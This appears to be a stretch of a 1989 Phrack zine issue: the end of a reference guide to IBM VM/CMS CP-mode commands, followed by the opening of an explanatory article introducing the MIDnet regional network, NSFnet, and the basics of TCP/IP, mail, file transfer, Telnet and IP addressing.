BEGIN or B : The BEGIN command by itself from CP mode will return the user to ~~~~~~~~~~ CMS mode in the place where he/she left off before he/she was disconnected or thrown into CP. The BEGIN command can also be followed by a hex location as to where to start in the case of the user wanting to be doing something other than what was previously occurring.

Privilege Class: G

Function Type: G

CHANGE or CH : In use of the CHANGE command, there are subcommands with ~~~~~~~~~~~~ variables. Generally, the "name" variable is 1 to 4 characters in length. The following are the subcommands with functions and formatting:

o READER or RDR : changes reader spool files.

o PRINTER or PRT : changes printer spool files.

o PUNCH or PCH : changes punch spool files.

o CLASS c1 : designates an existing class where c1 is a 1‑character alphanumerical field from A to Z or 0 to 9.

o spoolid : spoolid number of file that is to be changed.

o FORM form1 : 1 to 8 character alphanumeric form name used to select files to be changed (form1).

o ALL : changes all of your spool files.

o HOLD : prevents a file from being printed, punched, or read until released.

o NOHOLD : releases the specified file from the user's HOLD status. o DIST dist : changes the distribution code to variable "dist". o COPY(*)nnn : specifies number of copies of the file you want spooled, which is valid only for printer or punch files. "nnn" is a number from 1 to 255 and the "*" is present in the case of a 3800 printer being used so that copies will be made in the printer internally.

o FLASH name nnn : signifies that a form's overlay contained in the 3800 printer is to be superimposed onto certain pages of output. "nnn" is a number from 0 to 255 representing the number of copies to be superimposed.

o MODIFY name (n) : allows text alteration by preventing information printing or by adding labels to output. "n" selects a keyword in CHARS to be used for copy modification text. o CHARS name1 (name2(name3(name4)))

CHARS name1(CH names2(CH names3(CH names4))) : specifies character arrangement table when printing a file. There can be up to 4 names.

o FCB name : controls vertical spacing of output on a page.

o FORM form2 : changes spool form name of file to form2.

o NAME fn (ft) : assigns identification to spool file in CMS format filename and filetype.

o NAME dsname : assigns identification to spool file in non‑CMS format where "dsname" is from 1 to 24 characters, suitable for specifying OS or DOS files.

Privilege Class: S, G

Function Type: D, G

CLOSE or C : The CLOSE command terminates spooling activity on any virtual ~~~~~~~~~~ spooled unit record or console device. It Contains the following subcommands to be followed by the letter C or the word CLOSE:

o READER or RDR

o PRINTER or PRT

o PUNCH or PCH

o FORM form1

o HOLD

o NOHOLD

o DIST dist

o NAME fn (ft)

o NAME dsname

o vaddr : virtual address (cuu) of device to be closed.

o CONSOLE : closes virtual machine's console spool file which makes it a printer spool file.

o PURGE : closes and immediately purges from the virtual machine the output spool files. No output file is produced. o CHAIN : only valid for VM/SP HPO Release 4.2 and Profs Spool File Enhancement PRPQ. Indicates that the punchfile is to be chained.

Privilege Class: G

Function Type: G

COMMANDS or COMM : Use COMMAND to list the commands and diagnose codes you are ~~~~~~~~~~~~~~~~ authorized to use.

Privilege Class: ANY

Function Type: ANY

COUPLE : Using the COUPLE command connects your virtual non‑dedicated ~~~~~~ channel‑to‑channel device to another user's virtual device of the same type or to another one of your own virtual devices of the same type. The format of this command is in the form of COUPLE vaddr1 TO userid vaddr2. The variable vaddr1 is your virtual address and the variables userid vaddr2 identify the userid and virtual address of that userid to be connected to. Privilege Class: G

Function Type: G

CP : The CP command may precede the command to be processed, but it is not ~~ necessary. Generally, the CP command is used from CMS mode to queue CP functions by typing CP <command>.

Privilege Class: ANY

Function Type: ANY

CPTRAP : The CPTRAP command creates a reader file of a selected trace table, ~~~~~~ CP interface, and virtual machine interface entries for problem determination.

Privilege Class: C

Function Type: P

DCP : This command displays the contents of real storage locations at the ~~~ terminal.

Privilege Class: C, E

Function Type: P

DEFINE or DEF : The DEFINE command in CP is used to alter your virtual machine ~~~~~~~~~~~~~ configuration or channel operating mode. There are a LOT of subcommands that are used with the DEFINE command such as RDR or PRT or PCH and the list goes on and on. If you want details, there is a help file (type HELP CP DEF) that is almost 600 lines that goes into detail on each subcommand.

Privilege Class: B, G

Function Type: R, G

DETACH or DET : The DETACH command is used to remove a virtual device from the ~~~~~~~~~~~~~ virtual machine. The subcommands are as follows:

o vaddr (vaddr...) : used for multiple addresses to be detached where vaddr is the virtual address (cuu) of the device to be detached.

o vaddr‑vaddr : used to detach a range of addresses.

o CHANNEL c : detaches the real address of the channel. Privilege Class: B, G

Function Type: R, G

DIAL : Using the DIAL command logically connects a switched line, leased line, ~~~~ locally attached, or remote Binary Synchronous (BSC) terminal to a previously logged‑on multiple‑access virtual machine. It is in the format of DIAL userid (vaddr) where the userid is that to be connected to and the vaddr is the optional virtual address.

Privilege Class: ANY

Function Type: ANY

DISABLE : The DISABLE command prevents low speed communications lines from ~~~~~~~ accessing the system.

Privilege Class: A, B

Function Type: R

DISCONN or DISC : The DISCONNECT command is used to disconnect your terminal ~~~~~~~~~~~~~~~ from the system while the virtual machine continues operation. Using the DISC HOLD or DISC HO option, you specify that the communications line is not to be disabled which allows you to avoid re‑dialing the system.

Privilege Class: ANY

Function Type: ANY

DISPLAY or D : The DISPLAY command allows you to display virtual machine ~~~~~~~~~~~~ components at your terminal. Depending on what variable follows the D or DISPLAY command from CP, you can display virtual storage locations, storage keys, general registers, floating‑point registers, control registers, vector registers, VAC (Vector Activity Counter), VSR (Vector Status Register), VMR (Vector Mask Register), PSW (Program Status Word), CAW (Channel Address Word), and CSW (Channel Status Word).

Privilege Class: G

Function Type: G

DMCP : This command prints the contents of real storage locations on a user's ~~~~ virtual spooled printer.

Privilege Class: C, E

Function Type: P

DRAIN : The DRAIN command stops spooling operations on a specified real unit's ~~~~~ read devices after the file currently being processed has been completed.

Privilege Class: D

Function Type: S

DUMP or DU : Use the DUMP command to print the contents of various components ~~~~~~~~~~ of the virtual machine on the virtual spooled printer. Depending on what variable is placed after the DUMP or DU command, the items printed include virtual PSW (Program Status Word), general registers, floating‑point registers, control registers, storage keys, and virtual storage locations. Privilege Class: G

Function Type: G

ECHO or EC : Defaulted at 1, the ECHO command places the terminal in the echo ~~~~~~~~~~ environment in which any line entered is transmitted unchanged back to the terminal a specified number of times, depending on the variable entered immediately after the word ECHO or EC.

Privilege Type: G

Function Type: G

ENABLE : Use the ENABLE command to enable the previously disabled or nonabled ~~~~~~ devices so users may access the system.

Privilege Class: A, B

Function Type: R

EXTERNAL or EXT : The EXTERNAL command allows the user to simulate an external ~~~~~~~~~~~~~~~ interrupt to the virtual machine and to return control to that machine. The hexadecimal code following the word EXTERNAL or EXT is associated with the external interrupt, the default being the number 40 which is associated with the external interrupt button on a system console. Privilege Class: G

Function Type: G

FLUSH : The FLUSH command halts and immediately purges on hold the current ~~~~~ output on a specified unit record device.

Privilege Class: D

Function Type: S

FORCE : This command forces a logoff of any user of the system. ~~~~~

Privilege Class: A

Function Type: O

FREE : Use the FREE command to remove a set of spool files belonging to a ~~~~ specified user from a system hold status.

Privilege Class: D

Function Type: S

HALT : The HALT command terminates any active channel program on a specified ~~~~ real device.

Privilege Class: A

Function Type: O

HOLD : The HOLD command places user spool files in a system hold status. ~~~~

Privilege Class: D

Function Type: S

INDICATE or IND : At your terminal, you can display the use of and contention ~~~~~~~~~~~~~~~ for major system resources with the INDICATE command. The following variables that follow the word INDICATE or IND show the following data:

o LOAD : shows number of users in queue 1 and queue 2, the usage of real storage, and the ratio of active users to users being serviced. This is done by returning values that indicate operating load on the system.

o USER : displays the amounts of system resources used by your virtual machine in the current terminal session.

Privilege Class: A, E, G

Function Type: O, A, G

IPL or I : Generally used to return to CMS via the IPL CMS or I CMS command, ~~~~~~~~ the IPL command simulates an initial program load function for a virtual machine. Subcommands are as follows:

o vaddr : virtual address (cuu) of the device that contains the nucleus to be loaded.

o cylno : cylinder containing the IPL data which defaults to 0. o nnnnn : block address containing the IPL data which defaults to 0. o CLEAR : sets virtual storage space to binary zeros before the operating system is loaded.

o NOCLEAR : allows contents of your virtual storage space to remain unchanged prior to program load.

o STOP : halts the virtual machine during the IPL procedure just before the initial PSW is loaded.

o ATTN : generates an attention interrupt to the virtual machine during the IPL procedure.

o PARM p1 (p2...) : processes up to 64 bytes of data to your virtual machine's general registers starting with the high order byte of general register 0.

o systemname : simulates IPL function when loading a named system that was previously saved.

Privilege Class: G

Function Type: G

LINK : The LINK command is used to make a device that is associated with ~~~~ another virtual machine available at your virtual machine configuration based upon info in that user's directory entry. This command is in the format of LINK TO userid vaddr1 AS vaddr2 (mode) ((PASS=) password(1)). Privilege Class: G

Function Type: G

LOADBUF : On a 1403 printer, the LOADBUF command loads the Universal Character ~~~~~~~ Set (UCS) with a specified print train or chain image. On a 3203, 3211, 3212, 4245, or 4248 printer, it loads the UCS or the Forms Control Buffer (FCB) with a specified image. On a 3289 Model 4 printer, it loads the Font Offset Buffer (FOB) with the image print belt and the FCB. Privilege Class: D

Function Type: S

LOADVFCB : This command specifies the forms control buffer image for different ~~~~~~~~ virtual spooled printers. The variables that follow it include:

o vaddr

o FCB : required reserved keyword meaning Forms Control Buffer. o name : a name that is system defined.

o INDEX (nn) : place initial printing position in number nn for the 3211 printer.

Privilege Class: G

Function Type: G

LOCATE : Use the LOCATE command to find the addresses of CP control blocks ~~~~~~ associated with a particular user, a user's device, or a real system device.

Privilege Class: C, E

Function Type: P

LOCK : This command permanently locks in selected pages of real storage. ~~~~

Privilege Class: A

Function Type: O

LOGOFF or LOGOUT or LOG : Used to terminate a virtual machine session and ~~~~~~~~~~~~~~~~~~~~~~~ disconnect your virtual machine from the system, this command can be used with the HOLD option (i.e. LOG HOLD) for retaining the connection allowing for a switched communications line to enable one to log on without re‑dialing the system.

Privilege Class: ANY

Function Type: ANY

LOGON or LOGIN or L : Obvious enough, the LOGIN or LOGON command is used to ~~~~~~~~~~~~~~~~~~~ identify yourself to the system and to access that system. Following the words LOGIN or LOGON or L, type your userid which is the identifier assigned to you in the system. If the system you are logging onto does NOT have password suppression, your password can follow directly after your userid. NOTE: If the system you are on does have password suppression (i.e. it does not echo to your screen what you type when you type your password), you will get a system error message if you try to put it on the same line as your userid. The NOIPL option, which would follow your password and userid, specifies that the IPL device or name in the directory should not be used for an automatic IPL.

Privilege Class: ANY

Function Type: ANY

MESSAGE or MSG or M : Use the MESSAGE command to transmit message text to a ~~~~~~~~~~~~~~~~~~~ specified userid or to the primary system operator userid. MSG userid msgtext sends msgtext to the userid specified after userid. If userid is replaced with *, the text is sent to yourself. Also, if the userid is replaced with OPERATOR, the message text is sent to the primary system operator regardless of his userid.

Privilege Class: A, B, ANY

Function Type: O, ANY

MIGRATE : The MIGRATE command activates the normal page/swap table migration ~~~~~~~ routines or forces a particular user's pages to a secondary device even if that user is currently active.

Privilege Class: A

Function Type: O

MONITOR : To initiate or override the system‑generated function or to ~~~~~~~ terminate the recording of events occurring in the real machine, use the MONITOR command.

Privilege Class: A, E

Function Type: O

MSGNOH : The MSGNOH command allows a service virtual machine to send messages ~~~~~~ to specified users without the standard header associated with the MESSAGE command.

Privilege Class: B

Function Type: R

NETWORK : The NETWORK command allows you to load, dump and control operation ~~~~~~~ of a 3704 or 3705 and to control operation of a 3725 control program operating in 270x emulation mode (EP). Also, it allows control of remote 3270 devices via binary synchronous lines.

Privilege Class: A

Function Type: O

NOTREADY or NOTR : Using the NOTREADY command causes the virtual device, which ~~~~~~~~~~~~~~~~ is specified after the NOTREADY statement via cuu address, to appear as if it had changed from ready to not ready status. Privilege Class: G

Function Type: G

ORDER or ORD : ORDER is used to place your closed spool files in a specific ~~~~~~~~~~~~ order by device type. These spool files include READER, PRINTER, and PUNCH files and can be sorted by CLASS, FORM, and spoolid. Privilege Class: D, G

Function Type: S, G

PER : PER allows one to monitor certain events as they occur during program ~~~ execution in the user's virtual machine. This command can monitor the fetching and execution of an instruction, the execution of a successful branch instruction, the instruction of an instruction that alters a specific general purpose register, and the execution of an instruction in the virtual machine that alters storage.

Privilege Class: A, B, C, D, E, F, G

Function Type: G

PURGE or PUR : Use the PURGE command to remove your own closed spool files ~~~~~~~~~~~~ from the system before they are printed or punched by the spooling devices, or before they are read by a user. The spool file specifications include READER, PRINTER, and PUNCH files as well as the ALL option which purges all of the above mentioned files.

Privilege Class: D, G

Function Type: S, G

QUERY or Q : Also available in CMS mode, the QUERY command is used to ~~~~~~~~~~ determine your system status and machine configuration. Although there are far too many subcommands of the QUERY command, the following is a list of items that may be queried. I recommend, for full detail, using the HELP CP QUERY command as it is quite thorough (over 1000 lines) in explaining the QUERY command.

o The time you have used during a terminal session.

o The number of closed input and output spool files associated with your virtual machine.

o The current settings of the color and/or extended highlight values in effect for your virtual machine console.

o The current settings of the SET command functions.

o The current settings of the TERMINAL command functions.

o The status of all the devices on your virtual machine.

o The channel operating mode of your virtual machine, whether block‑multiplexer or selector.

o A listing of all users who are linked to a given virtual address, together with their device addresses and access modes.

o Display of the secondary user (secuser) that is specified in the CONSOLE directory statement.

o Identification and attributes associated with your virtual PRINTER, PUNCH, and READER spool files.

o The identification of your virtual processor.

o The mode of processor operation of your VM/SP HPO installation: uniprocessor mode (UP), attached processor mode (AP), or multiprocessor mode (MP).

o The userid and system identifier.

o A listing of the PER traceset elements.

o The log messages of the day.

o The names of the users that are logged on.

o The number of users that are logged on or dialed to the system.

NOTE: There are other operands you can use with the QUERY command if you have the privilege class required to use them.

Privilege Class: A, B, C, D, E, F, G

Function Type: O, R, P, S, A, C, G

QVM : Use this command to request the transition from the VM/SP environment to ~~~ native mode for a particular virtual machine.

Privilege Class: A

Function Type: O

READY : In the format of READY vaddr, this command is used to set a device‑end ~~~~~ interruption pending for the specified virtual device. Privilege Class: G

Function Type: G

REPEAT : Use the REPEAT command to increase the number of copies of an output ~~~~~~ file or to place the current output file in a hold status increasing or not increasing the number of copies to be created.

Privilege Class: D

Function Type: S

REQUEST or REQ : Simply use the REQUEST command to make an attention interrupt ~~~~~~~~~~~~~~ at your virtual console.

Privilege Class: G

Function Type: G

RESET : Also in the format of RESET vaddr, this command is used to clear all ~~~~~ pending interrupts from the specified virtual device. Privilege Class: G

Function Type: G

REWIND or REW : The REWIND command is used to rewind a real tape unit attached ~~~~~~~~~~~~~ to your virtual machine at a specified virtual device address in the format REWIND vaddr.

Privilege Class: G

Function Type: G

SAVESYS : This command allows you to save a virtual machine storage space with ~~~~~~~ registers and the PSW as they currently exist. It is used in the process of creating named systems.

Privilege Class: E

Function Type: A

SCREEN or SCRE : Use the SCREEN command to alter or change any extended color ~~~~~~~~~~~~~~ and/or extended highlight definitions for your virtual machine console. You may issue the command from any IBM supported terminal or from a PROFILE EXEC because the SCREEN command is not device dependent. However, the SCREEN command is only valid when the Extended Color Feature has been applied to the terminal controller.

You can assign extended color and extended highlighting values to six distinct display screen areas: the input area, the system status area, and the output area that encompasses three other areas: CP output, virtual machine output, virtual machine output, and an input redisplay area. The physical attributes of 3270 Information Display station screens vary according to model.

Because this command mainly applies to people who are not on dial‑up, I have elected not to detail all of the variables available with the SCREEN command. Once again, I recommend you using HELP CP SCREEN for details. Privilege Class: G

Function Type: G

SEND : Using the Single Console Image Facility, the SEND command is used to ~~~~ pass commands and message replies for the secondary user's console to disconnect virtual machines for execution. This command is executed in the format: SEND (CP) userid (text).

Privilege Class: G

Function Type: G

SET : Use the SET command to control various functions within your virtual ~~~ system. This command has a large number of variables that can be SET and details for each of the variables can be obtained from the HELP CP SET file.

Privilege Class: A, B, E, F, G

Function Type: O, R, A, C, G

SHUTDOWN : This command, of course, systematically ends all virtual machine ~~~~~~~~ functions and checkpoints the system for an eventual warn start. Privilege Class: A

Function Type: O

SLEEP or SL : To place the virtual machine in a dormant state but allow ~~~~~~~~~~~ messages to be displayed, use the SLEEP command in the format of SLEEP nn (time‑specification) where time‑specification is SEC for seconds, MIN for minutes, or HR for hours and nn is the number of the amount of time for the machine to be in dormant state.

Privilege Class: G

Function Type: G

SMSG or SM : The SMSG command is used to send a special message to a virtual ~~~~~~~~~~ machine programmed to accept and process the message. The format of this command is SMSG userid msgtext where userid is the userid to receive the message and msgtext is the message to be sent to the userid. Privilege Class: G

Function Type: G

SPACE : Use the SPACE command to force the output on a specified printer to be ~~~~~ single spaced for the current active spool file regardless of the carriage control commands in the actual file.

Privilege Class: D

Function Type: S

SPMODE : SPMODE allows the system operator to establish or reset the single ~~~~~~ processor mode environment.

Privilege Class: A

Function Type: O

SPOOL or SP : Use the SPOOL command to modify the spooling control options in ~~~~~~~~~~~ effect for a given virtual spooling device or for a group of devices. The SPOOL command can also start or stop the spooling of virtual console input and output. You can direct a file to a remote location by using the SPOOL command in conjunction with the TAG command.

Privilege Class: G

Function Type: G

SPTAPE : Use this command to dump spool files to tape or to load spool files ~~~~~~ from tape.

Privilege Class: D

Function Type: S

START : The START command restarts a spooling device after it has been drained ~~~~~ or changes the output class that it may service.

Privilege Class: D

Function Type: S

STCP : To alter the contents of real storage but not real PSW or real ~~~~ registers, use the STCP command.

Privilege Class: C

Function Type: P

STORE or ST : The STORE command is used to alter the contents of specified ~~~~~~~~~~~ registers and locations of the virtual machine. As well as saving virtual machine data in low storage, the contents of the following can be altered:

o Virtual storage locations

o General registers

o Floating‑point registers

o Control registers

o Program Status Word (PSW)

Privilege Class: G

Function Type: G

SYSTEM or SYS : SYSTEM is used to simulate the action of the RESET and RESTART ~~~~~~~~~~~~~ buttons on the real computer console, and to clear storage. The variables are as follows:

o CLEAR : clears virtual storage and virtual storage keys to binary zeros. o RESET : clears all pending interrupts and conditions in the virtual machine.

o RESTART : simulates the hardware system RESTART function by storing the current PSW at virtual location eight and loading, as the new PSW, the doubleword from virtual location zero. Privilege Class: G

Function Type: G

TAG or TA : The TAG has many different variables that can be tagged, which are ~~~~~~~~~ too many to list here because of different settings for each one, but it is used to associate file descriptive information with a spool file. Privilege Class: G

Function Type: G

TERMINAL or TERM : The TERMINAL command is used to control the following ~~~~~~~~~~~~~~~~ functions associated with your virtual console:

o Logical line‑editing symbols

o Masking of password

o The APL character set

o The Text character set

o Signaling of an attention interrupt

o Attention handling mode for your virtual console

o Line length for output on your virtual console

o Specifying terminal device type as 3101 or TTY

o Location of cursor preceding terminal read

o Scrolling rate for 3101 terminal

Privilege Class: G

Function Type: G

TRACE or TR : Use the TRACE command to trace specified virtual machine ~~~~~~~~~~~ activity and to record the results at the terminal, on a virtual spooled printer, or on both terminal and printer. If you issue more than one TRACE command, the operands are cumulative; that is, operands specified for the first time are activated, whereas those specified with new modifiers are updated. The RUN and NORUN operands, however, can be specified in different tracing functions and do not cause a conflict.

You cannot issue the TRACE command while preferred machine assist is operating, whether or not you have enabled the preferred machine assist feature's control switch assist.

Privilege Class: G

Function Type: G

TRANSFER or TRAN : This command is used to transfer your closed spool files to ~~~~~~~~~~~~~~~~ a specified user or queue, or to reclaim closed spool files that you created.

Privilege Class: D, G

Function Type: S, G

UNLOCK : Use the UNLOCK command to unlock page frames previously locked by a ~~~~~~ LOCK command.

Privilege Class: A

Function Type: O

VARY : The VARY command marks a device available or unavailable for use by a ~~~~ user or the control program.

Privilege Class: B

Function Type: R

VMDUMP or VMD : The VMDUMP command dumps virtual storage that VM/SP HPO ~~~~~~~~~~~~~ creates for the virtual machine user. VMDUMP dumps the following:

o Virtual Program Status Word (PSW)

o General registers

o Floating‑point registers

o Control registers

o Storage protection keys

o Virtual machine type identification

o Timer values

Privilege Class: G

Function Type: G

WARNING : Use the WARNING command to transmit high‑priority messages to a ~~~~~~~ specified user or to all users.

Privilege Class: A, B

Function Type: O

~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~

This article is far from totally complete as far as in‑depthness goes. As I have stated in numerous portions of this file, the VM/CMS system has a very good HELP file system, and from CMS, the command HELP CP <command> will, in most cases, allow you to read a relatively clear text file containing the details and usage specifications of these commands. I hope that, should you be moving around a VM/CMS system, this file will assist you in the CP mode.

For those that wish to contact me for commentary on this file topic or other topic conversation, you can send e‑mail to my network addresses:

Internet: C488869@UMCVMB.MISSOURI.EDU Bitnet: C488869@UMCVMB.BITNET

Introduction To MIDNET

==Phrack Inc.==

Volume Three, Issue 27, File 3 of 12

<><><><><><><><><><><><><><><><><

<>

<> Introduction to MIDNET <>

<> ~~~~~~~~~~~~

<> Chapter Seven Of The Future Transcendent Saga <>

<>

<> A More Indepth Look Into NSFnet <> <> National Science Foundation Network <>

<>

<> Presented by Knight Lightning <>

<> June 16, 1989 <>

<>

<><><><><><><><><><><><><><><><><

Prologue

~~~~~~~~

If you are not already familiar with NSFnet, I would suggest that you read:

"Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13), and definitely; "NSFnet: National Science Foundation Network" (Phrack Inc., Volume Three,

Issue 26, File 4 of 11).

Table Of Contents

~~~~~~~~~~~~~~~~~

* Introduction

* The DOD Protocol Suite

* Names and Addresses In A Network

* Telnet (*NOT* Telenet)

* File Transfer

* Mail

Introduction

~~~~~~~~~~~~

MIDNET is a regional computer network that is part of the NSFnet, the National Science Foundation Network. Currently, eleven mid‑United States universities are connected to each other and to the NSFnet via MIDnet:

UA ‑ University of Arkansas at Fayetteville

ISU ‑ Iowa State University at Ames

UI ‑ University of Iowa at Iowa City

KSU ‑ Kansas State University at Manhattan

KU ‑ University of Kansas at Lawrence

UMC ‑ University of Missouri at Columbia

WU ‑ Washington University at St. Louis, Missouri

UNL ‑ University of Nebraska at Lincoln

OSU ‑ Oklahoma State University at Stillwater

UT ‑ University of Tulsa (Oklahoma)

OU ‑ University of Oklahoma at Norman

Researchers at any of these universities that have funded grants can access the six supercomputer centers funded by the NSF:

John Von Neuman Supercomputer Center

National Center for Atmospheric Research

Cornell National Supercomputer Facility

National Center for Supercomputing Applications

Pittsburgh Supercomputing Center

San Diego Supercomputing Center

In addition, researchers and scientists can communicate with each other over a vast world‑wide computer network that includes the NSFnet, ARPAnet, CSnet, BITnet, and others that you have read about in The Future Transcendent Saga. Please refer to "Frontiers" (Phrack Inc., Volume Two, Issue 24, File 4 of 13) for more details.

MIDnet is just one of several regional computer networks that comprise the NSFnet system. Although all of these regional computer networks work the same, MIDnet is the only one that I have direct access to and so this file is written from a MIDnet point of view. For people who have access to the other regional networks of NSFnet, the only real differences depicted in this file that would not apply to the other regional networks are the universities that are served by MIDnet as opposed to:

NYSERnet in New York State

SURAnet in the southeastern United States

SEQSUInet in Texas

BARRnet in the San Francisco area

MERIT in Michigan

(There are others that are currently being constructed.)

These regional networks all hook into the NSFnet backbone, which is a network that connects the six supercomputer centers. For example, a person at Kansas State University can connect with a supercomputer via MIDnet and the NSFnet backbone. That researcher can also send mail to colleagues at the University of Delaware by using MIDnet, NSFnet and SURAnet. Each university has its own local computer network which connects on‑campus computers as well as providing a means to connecting to a regional network.

Some universities are already connected to older networks such as CSnet, the ARPAnet and BITnet. In principal, any campus connected to any of these networks can access anyone else in any other network since there are gateways between the networks.

Gateways are specialized computers that forward network traffic, thereby connecting networks. In practice, these wide‑area networks use different networking technology which make it impossible to provide full functionality across the gateways. However, mail is almost universally supported across all gateways, so that a person at a BITnet site can send mail messages to a colleague at an ARPAnet site (or anywhere else for that matter). You should already be somewhat familiar with this, but if not refer to;

"Limbo To Infinity" (Phrack Inc., Volume Two, Issue 24, File 3 of 13) and "Internet Domains" (Phrack Inc., Volume Three, Issue 26, File 8 of 11)

Computer networks rely on hardware and software that allow computers to communicate. The language that enables network communication is called a protocol. There are many different protocols in use today. MIDnet uses the TCP/IP protocols, also known as the DOD (Department of Defense) Protocol Suite.

Other networks that use TCP/IP include ARPAnet, CSnet and the NSFnet. In fact, all the regional networks that are linked to the NSFnet backbone are required to use TCP/IP. At the local campus level, TCP/IP is often used, although other protocols such as IBM's SNA and DEC's DECnet are common. In order to communicate with a computer via MIDnet and the NSFnet, a computer at a campus must use TCP/IP directly or use a gateway that will translate its protocols into TCP/IP.

The Internet is a world‑wide computer network that is the conglomeration of most of the large wide area networks, including ARPAnet, CSnet, NSFnet, and the regionals, such as MIDnet. To a lesser degree, other networks such as BITnet that can send mail to hosts on these networks are included as part of the Internet. This huge network of networks, the Internet, as you have by now read all about in the pages of Phrack Inc., is a rapidly growing and very complex entity that allows sophisticated communication between scientists, students, government officials and others. Being a part of this community is both exciting and challenging.

This chapter of the Future Transcendent Saga gives a general description of the protocols and software used in MIDnet and the NSFNet. A discussion of several of the more commonly used networking tools is also included to enable you to make practical use of the network as soon as possible.

The DOD Protocol Suite

~~~~~~~~~~~~~~~~~~~~~~

The DOD Protocol Suite includes many different protocols. Each protocol is a specification of how communication is to occur between computers. Computer hardware and software vendors use the protocol to create programs and sometimes specialized hardware in order to implement the network function intended by the protocol. Different implementations of the same protocol exist for the varied hardware and operating systems found in a network.

The three most commonly used network functions are:

Mail ‑‑ Sending and receiving messages

File Transfer ‑‑ Sending and receiving files

Remote Login ‑‑ Logging into a distant computer

Of these, mail is probably the most commonly used.

In the TCP/IP world, there are three different protocols that realize these functions:

SMTP ‑‑ (Simple Mail Transfer Protocol) Mail

FTP ‑‑ (File Transfer Protocol) sending and receiving files Telnet ‑‑ Remote login

How to use these protocols is discussed in the next section. At first glance, it is not obvious why these three functions are the most common. After all, mail and file transfer seem to be the same thing. However, mail messages are not identical to files, since they are usually comprised of only ASCII characters and are sequential in structure. Files may contain binary data and have complicated, non‑sequential structures. Also, mail messages can usually tolerate some errors in transmission whereas files should not contain any errors. Finally, file transfers usually occur in a secure setting (i.e. The users who are transferring files know each other's names and passwords and are permitted to transfer the file, whereas mail can be sent to anybody as long as their name is known).

While mail and transfer accomplish the transfer of raw information from one computer to another, Telnet allows a distant user to process that information, either by logging in to a remote computer or by linking to another terminal. Telnet is most often used to remotely log in to a distant computer, but it is actually a general‑purpose communications protocol. I have found it incredibly useful over the last year. In some ways, it could be used for a great deal of access because you can directly connect to another computer anywhere that has TCP/IP capabilities, however please note that Telnet is *NOT* Telenet.

There are other functions that some networks provide, including the following:

‑ Name to address translation for networks, computers and people

‑ The current time

‑ Quote of the day or fortune

‑ Printing on a remote printer, or use of any other remote peripheral ‑ Submission of batch jobs for non‑interactive execution

‑ Dialogues and conferencing between multiple users

‑ Remote procedure call (i.e. Distributing program execution over several

remote computers)

‑ Transmission of voice or video information

Some of these functions are still in the experimental stages and require faster computer networks than currently exist. In the future, new functions will undoubtedly be invented and existing ones improved.

The DOD Protocol Suite is a layered network architecture, which means that network functions are performed by different programs that work independently and in harmony with each other. Not only are there different programs but there are different protocols. The protocols SMTP, FTP and Telnet are described above. Protocols have been defined for getting the current time, the quote of the day, and for translating names. These protocols are called applications protocols because users directly interact with the programs that implement these protocols.

The Transmission Control Protocol, TCP, is used by many of the application protocols. Users almost never interact with TCP directly. TCP establishes a reliable end‑to‑end connection between two processes on remote computers. Data is sent through a network in small chunks called packets to improve reliability and performance. TCP ensures that packets arrive in order and without errors. If a packet does have errors, TCP requests that the packet be retransmitted.

In turn, TCP calls upon IP, Internet Protocol, to move the data from one network to another. IP is still not the lowest layer of the architecture, since there is usually a "data link layer protocol" below it. This can be any of a number of different protocols, two very common ones being X.25 and Ethernet.

FTP, Telnet and SMTP are called "application protocols", since they are directly used by applications programs that enable users to make use of the network. Network applications are the actual programs that implement these protocols and provide an interface between the user and the computer. An implementation of a network protocol is a program or package of programs that provides the desired network function such as file transfer. Since computers differ from vendor to vendor (e.g. IBM, DEC, CDC), each computer must have its own implementation of these protocols. However, the protocols are standardized so that computers can interoperate over the network (i.e. Can understand and process each other's data). For example, a TCP packet generated by an IBM computer can be read and processed by a DEC computer.

In many instances, network applications programs use the name of the protocol. For example, the program that transfers files may be called "FTP" and the program that allows remote logins may be called "Telnet." Sometimes these protocols are incorporated into larger packages, as is common with SMTP. Many computers have mail programs that allow users on the same computer to send mail to each other. SMTP functions are often added to these mail programs so that users can also send and receive mail through a network. In such cases, there is no separate program called SMTP that the user can access, since the mail program provides the user interface to this network function.

Specific implementation of network protocols, such as FTP, are tailored to the computer hardware and operating system on which they are used. Therefore, the exact user interface varies from one implementation to another. For example, the FTP protocol specifies a set of FTP commands which each FTP implementation must understand and process. However, these are usually placed at a low level, often invisible to the user, who is given a higher set of commands to use.

These higher‑level commands are not standardized so they may vary from one implementation of FTP to another. For some operating systems, not all of these commands make equal sense, such as "Change Directory," or may have different meanings. Therefore the specific user interface that the user sees will probably differ.

This file describes a generic implementation of the standard TCP/IP application protocols. Users must consult local documentation for specifics at their sites.

Names and Addresses In A Network

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In DOD Protocol Suite, each network is given a unique identifying number. This number is assigned by a central authority, namely the Network Information Center run by SRI, abbreviated as SRI‑NIC, in order to prevent more than one network from having the same network number. For example, the ARPAnet has network number 10 while MIDnet has a longer number, namely 128.242.

Each host in a network has a unique identification so other hosts can specify them unambiguously. Host numbers are usually assigned by the organization that manages the network, rather than one central authority. Host numbers do not need to be unique throughout the whole Internet but two hosts on the same network need to have unique host numbers.

The combination of the network number and the host number is called the IP address of the host and is specified as a 32‑bit binary number. All IP addresses in the Internet are expressible as 32‑bit numbers, although they are often written in dotted decimal notation. Dotted decimal notation breaks the 32‑bit number into four eight‑bit parts or octets and each octet is specified as a decimal number. For example, 00000001 is the binary octet that specifies the decimal number 1, while 11000000 specifies 192. Dotted decimal notation makes IP addresses much easier to read and remember.

Computers in the Internet are also identified by hostnames, which are strings of characters, such as "phrackvax." However, IP packets must specify the 32‑bit IP address instead of the hostname so some way to translating hostnames to IP addresses must exist.

One way is to have a table of hostnames and their corresponding IP addresses, called a hosttable. Nearly every TCP/IP implementation has such a hosttable, although the weaknesses of this method are forcing a shift to a new scheme called the domain name system. In UNIX systems, the hosttable is often called "/etc/hosts." You can usually read this file and find out what the IP addresses of various hosts are. Other systems may call this file by a different name and make it unavailable for public viewing.

Users of computers are generally given accounts to which all charges for computer use are billed. Even if computer time is free at an installation, accounts are used to distinguish between the users and enforce file protections. The generic term "username" will be used in this file to refer to the name by which the computer account is accessed.

In the early days of the ARPAnet which was the first network to use the TCP/IP protocols, computer users were identified by their username, followed by a commercial "at" sign (@), followed by the hostname on which the account existed. Networks were not given names, per se, although the IP address specified a network number.

